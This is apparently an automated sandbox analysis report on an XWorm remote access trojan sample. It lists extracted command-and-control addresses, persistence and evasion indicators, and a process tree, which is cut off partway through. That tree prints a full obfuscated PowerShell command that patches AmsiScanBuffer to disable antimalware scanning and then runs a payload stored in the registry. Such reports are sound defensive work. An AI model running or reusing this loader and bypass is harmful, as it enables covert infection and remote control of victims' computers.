xworm | b1c0500a672ae53b1b166ee3840d0bfdc072ebce461c6b5d0343d5d46a7bead2

Analysis

max time kernel
27s
max time network
28s
platform
windows11-21h2_x64
resource
win11-20240508-en
resource tags

arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system
submitted
22/06/2024, 03:57

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DECODE.cmd
Size 45B
Sample240622-ejba6axanh
SHA256 b1c0500a672ae53b1b166ee3840d0bfdc072ebce461c6b5d0343d5d46a7bead2
MD5 192fb1216e724815c62a31a0e982695c
SHA1 7de5d0f2254c6798f63223a4325cc77558b075eb
SHA512 3d6c7fc11d6ff0991f2973673c59a1b92e90671227bc3001ee0f4ddc1868fee2102a1c1f4cfc9e81836958f19ddd31ca3235d3cb7af937915dae4bc3846d089c
MD5 SHA1 SHA512

Score

10^/10

xworm evasion execution persistence rat trojan

Malware Config

Extracted

Family

xworm

147.185.221.18:41012

Attributes

Install_directory
%Userprofile%
install_file
USBhelper.exe

Extracted

Family

xworm

Version

adult-purchased.gl.at.ply.gg:13795

Mutex

JkvPSJefttV1yu2t

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 3 IoCs

resource	yara_rule
behavioral1/files/0x000900000002a986-92.dat	family_xworm
behavioral1/memory/2752-99-0x0000000000970000-0x000000000098C000-memory.dmp	family_xworm
behavioral1/memory/2752-950-0x000000001C960000-0x000000001C96E000-memory.dmp	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 4280 created 644	4280	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
2	1240	powershell.exe
3	1240	powershell.exe
4	1240	powershell.exe
5	1240	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3844	powershell.exe
4428	powershell.exe
1940	powershell.exe
4568	powershell.exe
4276	powershell.exe
4200	powershell.exe
3036	powershell.exe
3764	powershell.exe
3872	powershell.exe
5060	powershell.exe

Downloads MZ/PE file

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

evasion

Hidden Files and Directories

T1564.001

pid	Process
3312	attrib.exe
2352	attrib.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4Malicious.lnk	x4V5.2.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\x4Malicious.lnk	x4V5.2.exe

Executes dropped EXE 5 IoCs

pid	Process
3344	DriverLocator.exe
5008	Drivermapper.exe
1076	wqTWwoHc.exe
2752	x4V5.2.exe
624	x4Shellcode.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Windows\CurrentVersion\Run\x4V5.2 = "C:\\ProgramData\\x4V5.2.exe"	Drivermapper.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Windows\CurrentVersion\Run\x4Shellcode = "C:\\ProgramData\\x4Shellcode.exe"	Drivermapper.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000\Software\Microsoft\Windows\CurrentVersion\Run\x4Malicious = "C:\\Users\\Admin\\x4Malicious"	x4V5.2.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
1	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	icanhazip.com
24	ip-api.com

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4UserMode.evtx	svchost.exe
File created	C:\Windows\SysWOW64\winrm\Microsoft\Drivermapper.exe	curl.exe
File opened for modification	C:\Windows\SysWOW64\winrm\Microsoft\DriverLocator.exe	attrib.exe
File opened for modification	C:\Windows\SysWOW64\winrm\Microsoft\Drivermapper.exe	attrib.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File opened for modification	C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Security-Mitigations%4KernelMode.evtx	svchost.exe
File opened for modification	C:\Windows\System32\Tasks\x4Malicious	svchost.exe
File created	C:\Windows\SysWOW64\winrm\Microsoft\DriverLocator.exe	curl.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4280 set thread context of 2600	4280	powershell.EXE	115

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3107365284-1576850094-161165143-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1456	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1240	powershell.exe
1240	powershell.exe
5060	powershell.exe
5060	powershell.exe
4428	powershell.exe
4428	powershell.exe
1940	powershell.exe
1940	powershell.exe
4568	powershell.exe
4568	powershell.exe
3344	DriverLocator.exe
3344	DriverLocator.exe
3344	DriverLocator.exe
3344	DriverLocator.exe
1076	wqTWwoHc.exe
1076	wqTWwoHc.exe
1076	wqTWwoHc.exe
1076	wqTWwoHc.exe
4276	powershell.exe
4276	powershell.exe
3036	powershell.exe
3036	powershell.exe
4280	powershell.EXE
4280	powershell.EXE
4280	powershell.EXE
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2600	dllhost.exe
2156	wmiprvse.exe
2156	wmiprvse.exe
2156	wmiprvse.exe
2156	wmiprvse.exe
2600	dllhost.exe
2600	dllhost.exe
2156	wmiprvse.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3276	Explorer.EXE

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1240	powershell.exe
Token: SeDebugPrivilege	5060	powershell.exe
Token: SeDebugPrivilege	4428	powershell.exe
Token: SeDebugPrivilege	1940	powershell.exe
Token: SeDebugPrivilege	4568	powershell.exe
Token: SeIncreaseQuotaPrivilege	3936	WMIC.exe
Token: SeSecurityPrivilege	3936	WMIC.exe
Token: SeTakeOwnershipPrivilege	3936	WMIC.exe
Token: SeLoadDriverPrivilege	3936	WMIC.exe
Token: SeSystemProfilePrivilege	3936	WMIC.exe
Token: SeSystemtimePrivilege	3936	WMIC.exe
Token: SeProfSingleProcessPrivilege	3936	WMIC.exe
Token: SeIncBasePriorityPrivilege	3936	WMIC.exe
Token: SeCreatePagefilePrivilege	3936	WMIC.exe
Token: SeBackupPrivilege	3936	WMIC.exe
Token: SeRestorePrivilege	3936	WMIC.exe
Token: SeShutdownPrivilege	3936	WMIC.exe
Token: SeDebugPrivilege	3936	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3936	WMIC.exe
Token: SeRemoteShutdownPrivilege	3936	WMIC.exe
Token: SeUndockPrivilege	3936	WMIC.exe
Token: SeManageVolumePrivilege	3936	WMIC.exe
Token: 33	3936	WMIC.exe
Token: 34	3936	WMIC.exe
Token: 35	3936	WMIC.exe
Token: 36	3936	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3936	WMIC.exe
Token: SeSecurityPrivilege	3936	WMIC.exe
Token: SeTakeOwnershipPrivilege	3936	WMIC.exe
Token: SeLoadDriverPrivilege	3936	WMIC.exe
Token: SeSystemProfilePrivilege	3936	WMIC.exe
Token: SeSystemtimePrivilege	3936	WMIC.exe
Token: SeProfSingleProcessPrivilege	3936	WMIC.exe
Token: SeIncBasePriorityPrivilege	3936	WMIC.exe
Token: SeCreatePagefilePrivilege	3936	WMIC.exe
Token: SeBackupPrivilege	3936	WMIC.exe
Token: SeRestorePrivilege	3936	WMIC.exe
Token: SeShutdownPrivilege	3936	WMIC.exe
Token: SeDebugPrivilege	3936	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3936	WMIC.exe
Token: SeRemoteShutdownPrivilege	3936	WMIC.exe
Token: SeUndockPrivilege	3936	WMIC.exe
Token: SeManageVolumePrivilege	3936	WMIC.exe
Token: 33	3936	WMIC.exe
Token: 34	3936	WMIC.exe
Token: 35	3936	WMIC.exe
Token: 36	3936	WMIC.exe
Token: SeDebugPrivilege	3344	DriverLocator.exe
Token: SeDebugPrivilege	1076	wqTWwoHc.exe
Token: SeDebugPrivilege	4276	powershell.exe
Token: SeDebugPrivilege	3036	powershell.exe
Token: SeDebugPrivilege	2752	x4V5.2.exe
Token: SeDebugPrivilege	4280	powershell.EXE
Token: SeDebugPrivilege	4280	powershell.EXE
Token: SeDebugPrivilege	2600	dllhost.exe
Token: SeAssignPrimaryTokenPrivilege	2688	svchost.exe
Token: SeIncreaseQuotaPrivilege	2688	svchost.exe
Token: SeSecurityPrivilege	2688	svchost.exe
Token: SeTakeOwnershipPrivilege	2688	svchost.exe
Token: SeLoadDriverPrivilege	2688	svchost.exe
Token: SeSystemtimePrivilege	2688	svchost.exe
Token: SeBackupPrivilege	2688	svchost.exe
Token: SeRestorePrivilege	2688	svchost.exe
Token: SeShutdownPrivilege	2688	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2752	x4V5.2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2152 wrote to memory of 1240	2152	cmd.exe	78
PID 2152 wrote to memory of 1240	2152	cmd.exe	78
PID 1240 wrote to memory of 2796	1240	powershell.exe	79
PID 1240 wrote to memory of 2796	1240	powershell.exe	79
PID 2796 wrote to memory of 5060	2796	cmd.exe	81
PID 2796 wrote to memory of 5060	2796	cmd.exe	81
PID 2796 wrote to memory of 4228	2796	cmd.exe	82
PID 2796 wrote to memory of 4228	2796	cmd.exe	82
PID 4228 wrote to memory of 3444	4228	cmd.exe	83
PID 4228 wrote to memory of 3444	4228	cmd.exe	83
PID 4228 wrote to memory of 1996	4228	cmd.exe	84
PID 4228 wrote to memory of 1996	4228	cmd.exe	84
PID 2796 wrote to memory of 4428	2796	cmd.exe	85
PID 2796 wrote to memory of 4428	2796	cmd.exe	85
PID 2796 wrote to memory of 1940	2796	cmd.exe	86
PID 2796 wrote to memory of 1940	2796	cmd.exe	86
PID 2796 wrote to memory of 4568	2796	cmd.exe	87
PID 2796 wrote to memory of 4568	2796	cmd.exe	87
PID 2796 wrote to memory of 2344	2796	cmd.exe	88
PID 2796 wrote to memory of 2344	2796	cmd.exe	88
PID 2344 wrote to memory of 3936	2344	cmd.exe	89
PID 2344 wrote to memory of 3936	2344	cmd.exe	89
PID 2344 wrote to memory of 3720	2344	cmd.exe	90
PID 2344 wrote to memory of 3720	2344	cmd.exe	90
PID 2796 wrote to memory of 2168	2796	cmd.exe	92
PID 2796 wrote to memory of 2168	2796	cmd.exe	92
PID 2168 wrote to memory of 8	2168	cmd.exe	93
PID 2168 wrote to memory of 8	2168	cmd.exe	93
PID 2168 wrote to memory of 784	2168	cmd.exe	94
PID 2168 wrote to memory of 784	2168	cmd.exe	94
PID 2796 wrote to memory of 3972	2796	cmd.exe	95
PID 2796 wrote to memory of 3972	2796	cmd.exe	95
PID 3972 wrote to memory of 2836	3972	cmd.exe	96
PID 3972 wrote to memory of 2836	3972	cmd.exe	96
PID 2796 wrote to memory of 5012	2796	cmd.exe	97
PID 2796 wrote to memory of 5012	2796	cmd.exe	97
PID 5012 wrote to memory of 1620	5012	cmd.exe	98
PID 5012 wrote to memory of 1620	5012	cmd.exe	98
PID 2796 wrote to memory of 1568	2796	cmd.exe	99
PID 2796 wrote to memory of 1568	2796	cmd.exe	99
PID 2796 wrote to memory of 2172	2796	cmd.exe	100
PID 2796 wrote to memory of 2172	2796	cmd.exe	100
PID 2796 wrote to memory of 2032	2796	cmd.exe	101
PID 2796 wrote to memory of 2032	2796	cmd.exe	101
PID 2796 wrote to memory of 3344	2796	cmd.exe	102
PID 2796 wrote to memory of 3344	2796	cmd.exe	102
PID 2796 wrote to memory of 3344	2796	cmd.exe	102
PID 2796 wrote to memory of 5008	2796	cmd.exe	103
PID 2796 wrote to memory of 5008	2796	cmd.exe	103
PID 2796 wrote to memory of 3312	2796	cmd.exe	104
PID 2796 wrote to memory of 3312	2796	cmd.exe	104
PID 3344 wrote to memory of 1076	3344	DriverLocator.exe	105
PID 3344 wrote to memory of 1076	3344	DriverLocator.exe	105
PID 2796 wrote to memory of 2352	2796	cmd.exe	106
PID 2796 wrote to memory of 2352	2796	cmd.exe	106
PID 5008 wrote to memory of 4276	5008	Drivermapper.exe	107
PID 5008 wrote to memory of 4276	5008	Drivermapper.exe	107
PID 5008 wrote to memory of 2752	5008	Drivermapper.exe	109
PID 5008 wrote to memory of 2752	5008	Drivermapper.exe	109
PID 5008 wrote to memory of 3036	5008	Drivermapper.exe	110
PID 5008 wrote to memory of 3036	5008	Drivermapper.exe	110
PID 5008 wrote to memory of 624	5008	Drivermapper.exe	112
PID 5008 wrote to memory of 624	5008	Drivermapper.exe	112
PID 5008 wrote to memory of 624	5008	Drivermapper.exe	112

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3312	attrib.exe
2352	attrib.exe

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:644
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:556
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6de36ca8-1e61-4fe7-901e-e80eb37a9dd8}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2600

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:996

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:436

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:728

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1168

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:VchwKEXAfyrE{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$hhXINaNdlduKhS,[Parameter(Position=1)][Type]$zyJfAjesja)$lweVVCOfvXf=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+'e'+[Char](99)+'t'+[Char](101)+''+'d'+''+[Char](68)+'ele'+'g'+''+[Char](97)+''+'t'+'e')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+''+[Char](77)+'e'+[Char](109)+''+[Char](111)+''+[Char](114)+'yM'+'o'+''+[Char](100)+''+[Char](117)+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+'e'+[Char](108)+''+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+'y'+'pe',''+[Char](67)+''+'l'+'as'+[Char](115)+''+','+''+[Char](80)+''+'u'+'b'+[Char](108)+''+[Char](105)+'c'+[Char](44)+''+[Char](83)+'e'+'a'+''+[Char](108)+''+'e'+''+[Char](100)+''+','+''+[Char](65)+'n'+'s'+'i'+[Char](67)+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+'s'+''+[Char](44)+''+'A'+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$lweVVCOfvXf.DefineConstructor('RT'+'S'+''+[Char](112)+'e'+[Char](99)+''+'i'+'a'+[Char](108)+''+[Char](78)+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$hhXINaNdlduKhS).SetImplementationFlags(''+'R'+'u'+'n'+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+'M'+[Char](97)+''+'n'+''+'a'+''+[Char](103)+'e'+[Char](100)+'');$lweVVCOfvXf.DefineMethod('I'+[Char](110)+''+[Char](118)+''+'o'+'k'+[Char](101)+'','P'+[Char](117)+''+[Char](98)+''+'l'+'ic'+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+'eB'+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+'S'+'l'+''+[Char](111)+''+[Char](116)+','+[Char](86)+''+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$zyJfAjesja,$hhXINaNdlduKhS).SetImplementationFlags(''+[Char](82)+''+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+'M'+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+'d');Write-Output $lweVVCOfvXf.CreateType();}$RsJwzMuWAaHQx=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+'e'+[Char](109)+'.'+'d'+'l'+[Char](108)+'')}).GetType(''+'M'+''+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+''+[Char](115)+''+'o'+'ft.'+[Char](87)+'i'+[Char](110)+''+[Char](51)+'2.'+[Char](85)+''+[Char](110)+'s'+'a'+''+'f'+''+[Char](101)+''+[Char](78)+''+'a'+''+'t'+''+[Char](105)+'v'+'e'+''+[Char](77)+''+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+'d'+''+[Char](115)+'');$bAMzDbrzXoqVff=$RsJwzMuWAaHQx.GetMethod(''+[Char](71)+'e'+[Char](116)+'P'+'r'+'o'+[Char](99)+'A'+[Char](100)+''+[Char](100)+'r'+'e'+'s'+[Char](115)+'',[Reflection.BindingFlags](''+[Char](80)+''+[Char](117)+''+'b'+''+'l'+''+'i'+''+'c'+''+[Char](44)+''+[Char](83)+''+'t'+''+[Char](97)+''+[Char](116)+''+[Char](105)+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$CiPLBfBHVPNoWLDAwkA=VchwKEXAfyrE @([String])([IntPtr]);$ySXmjQyWAPCpUIgdFNZBjE=VchwKEXAfyrE @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$uAieSKddZQB=$RsJwzMuWAaHQx.GetMethod(''+[Char](71)+''+'e'+'t'+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+[Char](97)+''+[Char](110)+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+[Char](51)+''+'2'+''+[Char](46)+''+'d'+''+'l'+''+[Char](108)+'')));$sPjLYCnxTEobPR=$bAMzDbrzXoqVff.Invoke($Null,@([Object]$uAieSKddZQB,[Object](''+[Char](76)+''+[Char](111)+''+[Char](97)+''+'d'+''+[Char](76)+'i'+'b'+''+[Char](114)+'a'+[Char](114)+''+'y'+'A')));$BAtoiWUTMSzcsNUvQ=$bAMzDbrzXoqVff.Invoke($Null,@([Object]$uAieSKddZQB,[Object](''+[Char](86)+''+[Char](105)+'r'+'t'+''+[Char](117)+''+[Char](97)+''+'l'+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](116)+''+[Char](101)+'c'+'t'+'')));$nHkeoYR=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($sPjLYCnxTEobPR,$CiPLBfBHVPNoWLDAwkA).Invoke(''+[Char](97)+'m'+[Char](115)+'i.d'+[Char](108)+''+[Char](108)+'');$votOufQeaFfBXhOtE=$bAMzDbrzXoqVff.Invoke($Null,@([Object]$nHkeoYR,[Object]('A'+'m'+''+[Char](115)+''+[Char](105)+''+'S'+'c'+[Char](97)+''+'n'+''+[Char](66)+''+[Char](117)+''+[Char](102)+''+'f'+''+[Char](101)+''+'r'+'')));$tdxyqjpqpp=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BAtoiWUTMSzcsNUvQ,$ySXmjQyWAPCpUIgdFNZBjE).Invoke($votOufQeaFfBXhOtE,[uint32]8,4,[ref]$tdxyqjpqpp);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$votOufQeaFfBXhOtE,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($BAtoiWUTMSzcsNUvQ,$ySXmjQyWAPCpUIgdFNZBjE).Invoke($votOufQeaFfBXhOtE,[uint32]8,0x20,[ref]$tdxyqjpqpp);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+[Char](84)+'W'+'A'+''+'R'+'E').GetValue(''+[Char](120)+''+[Char](52)+''+'s'+'t'+[Char](97)+''+[Char](103)+''+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4280
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:1108

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netprofm -p -s netprofm
1⤵
PID:1248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1292

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1420

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1504
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:2072

C:\Windows\system32\svchost.exe
